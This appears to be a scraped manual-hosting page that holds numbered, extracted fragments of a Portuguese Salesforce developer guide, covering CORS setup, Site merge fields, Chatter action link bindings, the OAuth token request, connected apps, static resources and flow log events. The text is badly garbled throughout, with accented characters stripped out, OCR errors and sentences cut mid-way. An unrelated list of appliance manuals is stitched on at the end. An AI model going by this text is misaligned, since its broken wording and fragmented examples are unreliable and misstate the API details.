543. utar Apex an nimo e acessar informa es de cobertura de c digo e registro Use o CORS para acessar a API REST do Chatter e a API REST A APIREST do Chatter e a API REST oferecem suporte ao CORS compartilhamento de recursos entre origens Para acessar essas APIs a partir do JavaScript em um navegador da Web adicione a origem que entrega o script lista de aprovados do CORS O CORS uma recomenda o do W3C que permite que navegadores da Web solicitem recursos de origens que n o sejam as suas solicita o entre origens Por exemplo usando CORS um script JavaScriptem https www example com pode solicitar um recurso de https www salesforce com Se um navegador que suporta CORS fizer uma solicita o para uma origem na lista de aprovados do CORS do Salesforce o Salesforce retornar a origem no cabe alho HTTP Access Control Allow Origin juntamente com quaisquer cabe alhos HTTP CORS adicionais Se a origem n o est inclu da na lista de aprovados o Salesforce retorna o c digo de status de HTTP 403 1 Em Configura o insira CORS na caixa Busca r pida e selecione CORS 2 Escolha Novo 3 Insira o padr o de URL da origem O padr o de URL da origem deve incluir o protocolo HTTPS e um nome de dom nio e pode incluir uma porta H suporte para o caractere curinga que deve ficar na frente de um nome EDI ES Dispon vel em Salesforce Classic e Lightning Experience Dispon vel em Developer Enter
544. vazia O valor desse campo sempre termina em um caractere O uso de SSite CustomWebAddress n o recomend vel em vez disso recomendamos usar SSite BaseCustomUrl SSite OriginalUrl Retorna o URL original dessa p gina caso seja uma p gina de erro designada para o site caso contr rio retorna nulo SSite CurrentSiteUrl Retorna o URL de base do site atual que as refer ncias e links devem usar Observe que esse campo poderia retornar o URL da p gina de refer ncia em vez do URL da solicita o atual O valor desse campo inclui um prefixo de caminho que sempre termina em um caractere Se a solicita o atual n o uma solicita o de site esse campo retorna uma string vazia O uso de Site CurrentSiteUrl n o recomend vel Em vez disso use Site BaseUrl Aprimorar o Salesforce com c digo Campo de mesclagem SSite LoginEnabled SSite RegistrationEnabled SSite lsPasswordExpired Site AdminEmailAddress SSite Prefix SSite Template SSite ErrorMessage SSite ErrorDescription SSite AnalyticsTrackingCode SSite BaseCustomUrl SSite BaselnsecureUrl Guia do usu rio Componentes do Lightning Apex Visualforce 35 Descri o Retorna verdadeiro se o site atual estiver associado a um portal ativo e ativado por email caso contr rio retorna falso Retorna verdadeiro se o site atual estiver associado a um Portal do cliente ativado por autorregistro ativo caso contr rio retorna falso Para us
545. ve de uma vari vel vinculante no modelo Ao instanciar o grupo de links de a o especifique a chave e seu valor As chaves de vari veis vinculantes t m o formato Bindings key A chave permite caracteres Unicode na classe predefinida de caracteres w p Alpha p gc Mn p gc Me p gc Mc p Digit p gc Pc Ocampo URL da a o possui duas vari veis vinculantes https www example com Bindings ApiVersion items Bindings ItemId Ocampo Cabe alhos de HTTP possui duas vari veis vinculantes Authorization OAuth Bindings 0OAuthToken Content Type Bindings ContentType Especifique a chave e seu valor ao instanciar o grupo de links de a o na API REST do Chatter POST connect action link group definitions templateId 079D00000004C9r Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 144 templateBindings key ApiVersion value 1 0 key ItemId value 8675309 key OAuthToken value 00DRRO000000N0Og key ContentType value application json Especifique as chaves de vari vel vinculante e defina seus valores no Apex Map lt String String gt bindingMap new Map lt String String gt bindingMap put ApiVersion 1 0 bindingMap put ItemId 8675309 bindingMap put OAuthToken OODRR0000000N0g bindingMap put ContentType application json List lt Conne
546. vel para uso em Edi es Contact Manager Group Professional Enterprise Performance Unlimited e Developer Criar componentes do Lightning usando a UI nas Enterprise Performance Unlimited Developer Editions ou em um sandbox EDICOES Disponivel em Salesforce Classic e Lightning Experience Disponivel para uso em Edi es Contact Manager Group Professional Enterprise Performance Unlimited e Developer Criar componentes do Lightning usando a UI nas Enterprise Performance Unlimited Developer Editions ou em um sandbox PERMISSOES DO USUARIO Para criar guias de componentes do Lightning e Personalizar aplicativo Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Visualforce 88 No componente que voc deseja adicionar inclua implements force appHostable na marca o aura component e salve as altera es lt aura component implements force appHostable gt A interface appHostable disponibiliza o componente como uma guia personalizada Use o Console do desenvolvedor para criar componentes do Lightning Inclua os componentes no menu de navega o do Salesforce1 realizando estas etapas 1 Crie uma guia personalizada para este componente Em Configura o insira Guias na caixa Busca r pida e selecione Guias a 2 Clique em Novo na lista relacionada Guias de componentes do Lightning Selecione o componente do Lightning a ser exibido na
547. verifier e code challenge Se code verifier for inv lido ou n o corresponder haver falha de login com o c digo de erro invalid grant Seovalorde code verifier for inclu do na solicita o de token mas um valor de code challenge n o for inclu do na solicita o de autoriza o haver falha de login com o c digo deerro invalid grant e formato Formato de retorno esperado Esse par metro opcional O padr o j son Os valores s o urlencoded json xml A seguir h um exemplo do corpo POST enviado fora de banda POST services oauth2 token HTTP 1 1 Host login salesforce com grant type authorization code amp code aPrxsmIEeqM9PiQroGEWx1UiMQd9S 5JUZ VEhsOFhS8EVvbfYBBJli2WwW5fn3zbo 8hojaNW 19 3D 3Daclient id 3MVG91KcPoNI NVBIPJjdw1lJ9LLM8 2HnFVVX1 9KY1uASmu0OqEWhqKpoW3svG3XHrxXDiCQjKimdgAvhCs cA9GE amp client secret 1955279925675241571 amp redirect uri https 3A 2F 2Fwww mysite coms2Fcode callback jsp Em vez de usar o par metro formato o cliente tamb m pode verificar o formato retornado em um cabe alho de aceita o da solicita o usando um dos seguintes e Aceitar application json e Aceitar application xml e Aceitar application x www form urlencoded Observe o seguinte e Cabe alhos de aceita o de curinga s o permitidos aceito e retorna JSON e Uma lista de valores tamb m aceita e verificada da esquerda para a direita Por exemplo application xml ap
548. vo fazer outras edi es ou exclu lo Se estiver usando OAuth salvar seu aplicativo lhe d dois novos valores que o aplicativo usa para se comunicar com o Salesforce e Chave do cliente Um valor usado pelo consumidor para se identificar ao Salesforce Chamado de client id em OAuth 2 0 e Segredo do cliente Um segredo usado pelo consumidor para estabelecer a propriedade da chave do consumidor Chamado de client secret em OAuth 2 0 O Importante Conforme voc atualiza os campos de um aplicativo conectado tenha em mente que as altera es em alguns campos tamb m se aplicam imediatamente a todas as vers es instaladas do aplicativo conectado S o campos independentes Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 166 da vers o que ignoram o ciclo de vida de empacotamento ou instala o Os usu rios do aplicativo conectado ver o algumas coisas mudarem como a descri o Os campos a seguir t m esse comportamento independente da vers o Descri o URL de informa es URL da imagem do logotipo URL de callback Informa es b sicas Especifique as informa es b sicas do seu aplicativo nesta se o incluindo o nome dele o logotipo e as informa es de contato 1 Digiteo Nome de aplicativo conectado Esse nome exibido na lista de aplicativos conectados Nota O nome deve ser exclusivo para os aplicativos conectados atuais na sua organiza o
549. vos relacionados em uma hierarquia de diret rios e carregar essa hierarquia como um arquivo zip ou jar e poss vel fazer refer ncia a um recurso est tico na marca o da p gina pelo nome usando a vari vel global SResource em vez de IDs de documento embutidos em c digo Parafazer refer ncia a um arquivo aut nomo use SResource lt nome do recurso gt como um campo de mesclagem onde lt nome do recurso gt o nome especificado quando voc carregou o recurso Por exemplo lt apex imag ou lt apex includeScript value SResource MyJavascriptFile gt Guia do usu rio Componentes do Lightning Apex Visualforce 80 EDI ES Dispon vel em Salesforce Classic e Lightning Experience Dispon vel em Edi es Contact Manager Group Professional Enterprise Performance Unlimited e Developer PERMISS ES DO USU RIO Para criar e editar componentes personalizados e Personalizar aplicativo EDI ES Dispon vel em Salesforce Classic e Lightning Experience Dispon vel em Edi es Contact Manager Group Professional Enterprise Performance Unlimited e Developer url S Resource TestImage width 50 height 50 gt Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Visualforce 81 Para fazer refer ncia a um arquivo em uma pasta use a fun o URLFOR Especifique o nome do recurso est tico fornecido quando voc
550. x D da entrevista nome do elemento tipo de a o Fluxo de enumera o ou ID da a o se a chamada para a a o trabalho foi bem sucedida e mensagem de erro D de entrevista refer ncia operador e valor Fluxo de rabalho D de entrevista e tipo de elemento Fluxo de rabalho D de entrevista tipo de elemento nome do elemento Fluxo de n mero de registros e tempo de execu o rabalho e n mero de registros rabalho D da organiza o ID da defini o e ID da vers o Fluxo de rabalho D de entrevista e nome do fluxo Fluxo de rabalho ensagem ID da organiza o ID da defini o eID Fluxo de da vers o rabalho D de entrevista tipo de elemento e nome do Fluxo de elemento rabalho D de entrevista tipo de elemento nome do elemento Fluxo de INFOR A ES e acima INFOR A ES e acima INFOR A ES e acima INFOR A ES e acima INFOR A ES e acima ERRO e acima ERRO e acima ERRO e acima MAIS EXATO e acima MAIS EXATO e acima CORRETO e acima MAIS EXATO e acima CORRETO e acima INFORMA ES e acima INFORMA ES e acima ERRO e acima CORRETO e acima Aprimorar o Salesforce com c digo Nome do evento FLOW ELEMENT FAULT FLOW INTERVIEW PAUSED FLOW LOOP DETAIL FLOW RULE DETAIL FLOW INTERVIEW RESUMED
551. za o do usu rio atual e a chave de acesso do usu rio foi criada usando um fluxo OAuth Se o aplicativo conectado n o est instalado a propriedade n o existe em vez de ser fal sa Ao analisar a resposta verifique a exist ncia e o valor da propriedade Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 233 e mobile policy valores espec ficos para gerenciar aplicativos conectados m veis Esses valores s ficam dispon veis quando o aplicativo conectado est instalado na organiza o do usu rio atual e o aplicativo tem um valor definido de tempo limite da sess o e um valor de comprimento do PIN n mero de identifica o pessoal screen lock o per odo de tempo de espera para bloquear a tela ap s a inatividade pin length o comprimento do n mero de identifica o necess rio para obter acesso ao aplicativo m vel e push service type esse valor de resposta definido como apple se o aplicativo conectado for registrado com o Apple Push Notification Service APNS para as notifica es por push em iOS ou androidGem caso esteja registrado com o Google Cloud Messaging GCM para notifica es por push em Android O tipo de valor da resposta uma matriz e custom permissions Quando uma solicita o inclui o par metro de escopo custom permissions a resposta inclui um mapa contendo permiss es personalizadas em uma organiza o associada ao aplicativo conectado Se o aplic
552. zar os campos de mesclagem Scontrol_JavaCodebase e Scontrol JavaArchive e Para inserir campos de mesclagem de atividade selecione Evento ou Tarefa em Selecionar tipo de campo Q Dica Os padr es de Internet exigem codifica o especial para URLs O Salesforce codifica automaticamente o texto de qualquer campo de mesclagem inserido em um link Codifique um texto adicional em seu link manualmente Por exemplo para gerar o seguinte URL http www google com search q user name Steve Mark 50 Use este conte do http www google com search q user name Steve Mark 50 25 O Salesforce remove automaticamente as aspas duplas de URLs quando a Origem do conte do URL Se voc precisar usar aspas duplas codifique as manualmente Por exemplo para gerar o URL http www google com search q salesforce foundation use este conte do http www google com search q 22salesforce foundation 22 Nome do arquivo Carregue um arquivo para ser exibido quando voc adicionar esse custom s control a um link personalizado O arquivo pode conter um miniaplicativo Java um controle Active X ou qualquer outro tipo de conte do desejado Essa op o s se aplica a s controls HTML Pr criar na p gina Essa op o mant m o s control na mem ria o que poder melhorar o desempenho quando a p gina for recarregada pois o s control n o tem de ser recarregado Essa op o s se aplica a s controls HTML Aprimorar o Salesforce

Download Pdf Manuals

image

Related Search

Related Contents

Cruise 2.0 S Cruise 2.0 L  intext:Betriebsanleitung filetype:pdf  Forward modelling and inversion with 3D GeoModeller  LG LTRM1240SB User's Manual  UM-CRT : Un modèle de canal semi  ダウンロードする  Installation Manual  DeLOCK LED Light Bar  Samsung 32" Full HD Flat TV J5200 Serija 5 Korisničko uputstvo  アクアハルトカタログ PDF  

Copyright © All rights reserved.
Failed to retrieve file